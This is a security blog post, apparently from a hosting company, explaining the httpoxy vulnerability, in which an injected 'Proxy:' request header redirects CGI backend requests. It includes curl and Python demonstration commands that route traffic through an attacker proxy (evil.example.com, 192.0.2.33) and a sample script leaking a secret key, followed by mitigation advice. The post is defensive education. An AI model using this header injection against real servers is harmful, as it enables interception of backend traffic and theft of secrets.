httpoxy, or how an innocent HTTP header leads to security vulnerabilities

On July 18, 2016 a class of vulnerabilities named httpoxy was released. We have analyzed the impact on our own infrastructure and for our customers and are in the process of mitigating the issue.

What is httpoxy?

httpoxy is a set of vulnerabilities affecting application code invoked via the Common Gateway Interface (CGI), or running in CGI-like environments. Any header sent as part of an HTTP request is transformed into an environment variable named HTTP_${header-in-uppercase}. For example, the User-Agent: header becomes HTTP_USER_AGENT. httpoxy describes a case where the Proxy: request header is stored in HTTP_PROXY.
The vulnerability originates from the fact that the standard variable defining an HTTP proxy on Unix systems is named http_proxy in lower-case. Proxies for other protocols are passed in variables named using the same scheme, for example ftp_proxy for the File Transfer Protocol or gopher_proxy for Gopher.

Unix, Windows, and case-sensitiveness

Most if not all of VSHN’s own infrastructure and customer machines run on Unix-like systems, predominantly Linux. These systems treat environment variables in a case-sensitive fashion, unlike the Microsoft Windows® family of operating systems.

$ http_proxy=lower HTTP_PROXY=upper \
> bash -c 'echo "$HTTP_PROXY" "$http_proxy"'
upper lower

Unfortunately not all programs and libraries observe the platform-specific behaviour. The Python library requests, for example, does not by reading a proxy from HTTP_PROXY even though the standard variable would be http_proxy:

$ http_proxy=http://proxy.example.net HTTP_PROXY=evil.example.com \
> python3 -c 'import logging, requests;
> logging.basicConfig(level=logging.NOTSET);
> requests.get("http://vshn.ch")'
INFO:urllib3.connectionpool:Starting new HTTP connection (1): evil.example.com
[…]

If a website uses the requests library for internal backend requests those requests can be redirected:

$ curl -v --header 'Proxy: evil.example.com'
[…]
> GET / HTTP/1.1
[…]
> Proxy:
[…]

Assuming the request URL is handled by code invoked via CGI, FastCGI or a similar technology it’ll receive an environment variable named HTTP_PROXY with the value and, assuming the code or libraries used are vulnerable, make requests via that proxy.
The httpoxy website lists more examples and CVEs. More are likely to be found in the coming hours, days and weeks.

Practical demonstration

Consider a plain old CGI script:

#!/usr/bin/python3
import os
import requests
print("Status: 200")
print("Content-type: text/plain")
print()
print(dict((k, v) for (k, v) in os.environ.items() if k.lower() == "http_proxy"))
print("---")
url = "http://backend.example.com/?secret_key=lZLx60gP"
try:
  print(requests.get(url).text)
except Exception as err:
  print("Error: {}".format(err))

Now consider that the attacker controls an HTTP proxy at 192.0.2.33 on port 3128 (the default port for the squid proxy server) and makes a request as follows:

curl -H 'Proxy: ' -v

The resulting request to the backend will be proxied through the attacker’s proxy. An excerpt from the proxy logs:

TCP_MISS/504 1617 GET  - DIRECT/backend.example.com text/html

Considering that this is an invalid example URL, an error message is received from the proxy server:

$ curl -H 'Proxy: ' -v
[…]
> GET /cgi-bin/contact.py HTTP/1.1
> User-Agent: curl/7
> Accept: */*
> Proxy:
>
< HTTP/1.1 200 OK
< Date: Mon, 25 Jul 2016 13:58:50 GMT
< Content-Type: text/plain
<
{'HTTP_PROXY': 'http://192.0.2.33:3128'}
---
[…]
<p>The following error was encountered while trying to retrieve the URL:
<a href="http://backend.example.com/?">http://backend.example.com/?</a></p>
[…]

In reality the proxy server could have stored the secret key, or it could have modified the response.

Mitigation

Until updated applications and libraries are available and deployed web servers should remove the Proxy header in requests. This is not expected to have any impact as the Proxyheader is undefined by the IETF and is not listed on IANA registry of message headers either, meaning the header is not used by any standard. Custom headers were supposed to be prefixed by X- since at least 1996 until the practice was deprecated by RFC 6648 in 2012.
It is also important to deploy such mitigation efforts as sometimes third-party applications ship with old and/or vulnerable libraries or unsafe configurations.
The httpoxy website publishes a number of configuration snippets showing how to remove the Proxy header from requests in various web servers and related programs. They also provide snippets for application and library developers to help them avoid the issue altogether.

Conclusion

We strongly recommend implementing stripping of the Proxy header in edge HTTP servers and proxies. Every public-facing HTTP server should have the mitigation implemented and it doesn’t hurt to implement it in backend servers, too.
Now that the vulnerability has been published it’s only a question of time until it’s exploited in an automated fashion.
Even if a given website and application may not use an affected library now–and that’s very difficult to ascertain–it may in the future. Not all projects keep third-party libraries up-to-date.